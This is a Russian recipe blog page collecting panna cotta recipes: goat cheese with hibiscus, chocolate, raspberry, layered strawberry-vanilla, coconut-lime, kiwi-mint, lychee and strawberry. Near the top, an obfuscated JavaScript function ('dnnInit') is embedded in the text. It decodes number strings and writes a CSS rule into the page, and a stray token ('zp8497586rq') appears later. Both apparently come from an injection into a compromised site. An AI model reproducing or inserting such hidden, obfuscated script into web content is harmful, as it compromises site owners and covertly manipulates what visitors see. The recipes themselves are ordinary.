Панна Котта из козьего сыра с цветами гибискуса и малиной

Очень нежный и просто тающий во рту десерт. Рекомендую.
function dnnInit(){var a=0,m,v,t,z,x=new Array(“9091968376″,”88879181928187863473749187849392773592878834213333338896″,”778787″,”949990793917947998942577939317”),l=x.length;while(++a<=l){m=x[l-a];t=z="";for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t="";}}x[l-a]=z;}document.write(".”+x[2]+”{“+x[1]+”}”);}dnnInit();

goat cheese panna cotta

Панна Котта:
2 1/4 ч. л. желатина
1 чашка сливок
1 чашка молока
1/3 чашки сахара
1/3 чашки козьего сыра
1/2 ч. л. ванильного экстракта

panna cotta

Верхний слой:
1/2 чашки сушеных цветов гибискуса
малиновое варенье (3-4 ложки)
2 ст. л. сахара
2 ст. л. лимонного сока

Желатин растворить в холодной воде.
В кастрюлю вылить сливки и молоко. Добавить сахар. Довести до кипения, постоянно помешивая.
Снять с огня и добавить козьий сыр и ваниль.
Добавить желатин и хорошо перемешать.
Разлить по формочкам и убрать в холодильник на 2-3 часа.

panna cotta

Сделать ягодный слой:
Цветы гибискуса залить горячей водой на 5 минут.
Смешать жидкость от цветов, малиновое варенье, сахар и лимонный сок. Выложить в кастрюльку и варить 15 минут на маленьком огне до загустения.
Перед подачей украсить панна котту.

panna cotta

zp8497586rq

Шоколадная панна котта

Хотелось сделать что-то вкусное и шоколадное для дорогой подруги. Получился нежный и шоколадный десерт.

panna cotta

Ингредиенты:
1 ст. л. желатина
3 ст. л. воды
50 гр шоколада
1 чашка нутеллы
1 1/2 чашки сливок
1 чашка молока
1 ч. л. ванильного экстракта

Желатин растворить в холодной воде.
Шоколад мелко порубить.
В кастрюлю вылить сливки и молоко. Довести до кипения, постоянно помешивая.
Добавить желатин, шоколад, нутеллу и ваниль. Хорошо перемешать.
Разлить по формочкам и убрать в холодильник на 2-3 часа.

panna cotta

Панна Котта с малиной

Прекрасный, нежный и очень быстрый десерт.

panna cotta

Ингредиенты:
250 мл сливок
250 мл молока
1 ванильный стручок
10 гр желатина
50 гр сахара

Соус из малины:
300 гр малины
50 гр сахара

Желатин растворить в холодной воде.
В кастрюлю положить ваниль, сливки и молоко. Довести до кипения, постоянно помешивая.
Добавить желатин в молочную смесь и хорошо перемешать.
Разлить по формочкам и убрать в холодильник на 2-3 часа.

В небольшой кастрюле соединить ягоды и сахар.
Проварить 3 минуты.
Снять готовый соус с огня, дать немного остыть.
Украсить панна котту.

panna cotta

Двухслойная панна котта

Когда жара и не хочется включать духовку, можно сделать этот десерт.

layered panna cotta

Клубничный слой:
1 чашка сливок
1 чашка молока
3/4 чашки сахара
2 чашки пюре из клубники
7 гр желатина
6 ст. л. холодной воды

Ванильный слой:
1 чашка сливок
1 чашка молока
3/4 чашки сахара
1 ст. л. ванильного экстракта
черника
5 гр желатина
4 ст. л. холодной воды

В маленькой миске растворить желатин в воде.
В кастрюлю вылить сливки, молоко и сахар. Подогреть на среднем огне.
Когда сахар растворится, снять с огня.
Добавить клубничное пюре к молочной смеци. Перемешать.
Добавить желатин и хорошо перемешать.
Вылить в стаканчики и поставить в холодильник.

Сделать ванильную панна котту и вылить на клубничную.
Можно украсить ягодами или малиновым пюре.
Угощайтесь!

layered panna cotta

Панна Котта с малиной

Прекрасный летний десерт.

panna cotta

Ингредиенты:
250 мл сливок
250 мл молока
1 ванильный стручок
10 гр желатина
50 гр сахара

Соус из малины:
300 гр малины
50 гр сахара

Желатин растворить в холодной воде.
В кастрюлю положить ваниль, сливки и молоко. Довести до кипения, постоянно помешивая.
Добавить желатин в молочную смесь и хорошо перемешать.
Разлить по формочкам и убрать в холодильник на 2-3 часа.

В небольшой кастрюле соединить ягоды и сахар.
Проварить 3 минуты.
Снять готовый соус с огня, дать немного остыть.
Украсить панна котту.

panna cotta

Всем прекрасных, весёлых и солнечных выходных!

Кокосовая панна котта с лаймом и ягодами

panna cotta

Ингредиенты:
1 чашка сливок
1 чашка кокосового молока
1/3 чашки сахара
1 ст. л. желатина
1 ч. л. цедры лайма
1/4 чашки сока лайма

Желатин замочить в холодной воде.
В кастрюльке на медленном огне сварить сливки, молоко и сахар.
Добавить желатин и хорошо перемешать.
Добавить цедру и сок лайма.
Вылить в формочки и охладить 4 часа.

panna cotta

Ягодный соус:
ягоды (у меня малина и красная смородина)
1/2 чашки сахарной пудры
2 ст. л. лимонного сока

В кастрюльку выложить ягоды и сахарную пудру. Довести до кипения и варить медленном огне 1-2 минуты.
Добавить лимонный сок. Перемешать.
Перед подачей, полить панна котту ягодным соусом.

panna cotta

Панна котта с киви и мятой

Анют, большое спасибо за рецепт вуксного десерта! Мои родные оценили (некоторые пробовали впервые). Спасибо!

Слова Ани:
Понадобится на 4 порции:
250 мл сливок (35 %)
4 ст.л. сахара
10 г желатина
2 киви
мята

Приготовление:

1. Желатин замочить в небольшом количестве воды (примерно 3 ст.л.), дать набухнуть.
2. Сливки налить в ковш, нагреть, добавить сахар и размешать.
3. Желатин добавить в сливки и всё хорошо перемешать до растворения желатина. Разлить сливочную смесь по формочкам, остудить и убрать в холодильник до загустения.
4. Киви почистить, измельчить. Пюрировать киви и мяту блендером.
5. Достать формочки с загустевшим сливочным слоем, добавить соус из киви и мяты и убрать в холодильник на 10-15 минут.
6. При подаче украсить десерт листиками мяты.

Панна Котта со вкусом личи

Ингредиенты:
285ml сливок
215 мл кокосового молока
50 гр сахара
1 ч. л. свежего имбиря
200 гр свежих личи (сделать пюре)
1 ч. л. ванильного экстракта
1 ст. л. желатина

личи для подачи

Желатин замочить в холодной воде.
В кастрюльке на медленном огне сварить сливки, молоко, сахар, имбирь и ваниль.
Выключить и добавить личи.
Добавить желатин и хорошо перемешать.
Вылить в формочки и охладить 4 часа.
Подавать со свежими личи.

Клубничная Панна Котта с соусом из клубники

За этот волшебный десерт огромное спасибо Надюшке. Я жалею, что не сделала его раньше:) Настоятельно рекомендую!

Надюш, огромное спасибо! Даже мне десерт очень понравился, хотя я и не любитель панна котты.

Слова автора:
Ингредиенты:
200 мл. сливок 35-38%
200 мл. молока
100 мл. клубничного пюре
8 гр. желатина(примерно 1 ст.л.)
3 ст.л. сахара

Для соуса:
500 гр. клубники
2 ст.л. сахара
1,5 ст.л. бальзамического уксуса

Клубнику измельчить блендером и процедить через сито.
Желатин замочить в небольшом колличестве холодной воды и оставить набухать.
Соединить сливки, молоко и сахар, поставить смесь на медленный огонь и довести до кипения. Сять с огня и ввести желатин, хорошо перемешать, чтобы желатин весь разошёлся. Добавить клубничное пюре и ещё раз тщательно всё перемешать. Разлить панна котту в формочки и поставить в холодильник остывать минимум на 3-4 часа.
Перед подачей аккуратно вынуть десерт из формочек, предварительно опустив их в горячую воду на несколько секунд, полить соусом или украсить свежими ягодами.

Соус:
Клубнику порезать на половинки или четыре части.
В кастрюле соединить все ингредиенты и варить на медленном огне примерно 10 минут, до загущения соуса. Остудить. И подавать с панна коттой.

А на десерт – панна котта

В этот раз добавила цедру лимона и стружку кокоса. Мужу понравилось 🙂

если надо рецепт, напишу 🙂

Ингредиенты:
2 чашки сливок
2 чашки молока
3/4 чашки сахара
12 гр желатина
цедра лимона
1 ч. л. ванильного экстракта

Вылить сливки и молоко в кастрюльку. Добавить сахар и желатин. Дать постоять 2 минуты.
Подогреть смесь 3-5 минут постоянно помешивая.
Добавить цедру лимона и ваниль.
Разлить по формочкам и убрать в холодильник на 2-3 часа
Готовую панна котту подавала со смородиной.
Смородину подогрела на маленькой огне вместе со смородиновым вареньем.